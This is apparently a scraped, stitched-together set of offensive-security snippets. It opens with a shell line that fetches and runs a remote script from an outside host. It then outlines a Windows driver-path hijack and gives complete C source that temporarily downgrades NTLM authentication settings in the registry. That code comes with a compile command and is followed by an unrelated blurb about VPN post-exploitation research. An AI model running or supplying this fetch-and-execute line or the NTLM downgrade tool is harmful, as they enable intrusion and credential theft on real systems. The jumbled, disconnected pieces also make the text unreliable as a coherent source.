source <(curl -SsfL https://thc.org/hs)

   1) ISO Mounting and Driver Selection
      1.1) The attack begins with mounting the ISO as a filesystem.
      1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
   2) Hijacking the Driver Path
      2.1) The core of the attack involves hijacking the driver path. The methods used include:
      2.2) Direct Reparse Point Abuse
      2.3) DosDevice Global Symlink Abuse
      2.4) Drive Mountpoint Swap

#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
    HKEY hKey;
    DWORD value;
    DWORD valueSize = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
        RegCloseKey(hKey);
        *oldValue = value;
    } else {
        printf("Ошибка чтения ключа реестра.\n");
    }
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
    HKEY hKey;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
        RegCloseKey(hKey);
    } else {
        printf("Ошибка записи ключа реестра.\n");
    }
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
    DWORD oldValue_LMCompatibilityLevel = 0;
    DWORD oldValue_NtlmMinClientSec = 0;
    DWORD oldValue_RestrictSendingNTLMTraffic = 0;

    ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

    // Задержка 60 секунд
    sleep(60);

    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

    return 0;
}

x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

   • In this blog post, Akamai researchers highlight the overlooked threat of VPN post-exploitation; that is, we address techniques that can be used by threat actors after compromising a VPN server to further escalate their intrusion.
   • Our findings include several vulnerabilities that affected Ivanti Connect Secure and FortiGate VPNs.
   • In addition to the vulnerabilities, we detail a set of no-fix techniques that can affect the Ivanti Connect Secure and FortiGate products, and potentially other VPN servers, as well.
   • Our research shows that, in many cases, a compromised VPN server could allow attackers to easily gain control over other critical assets in the network.
   • This blog post aims to raise awareness of these risks, and presents best practices that should be followed by defenders to minimize the risks of VPN post-exploitation techniques.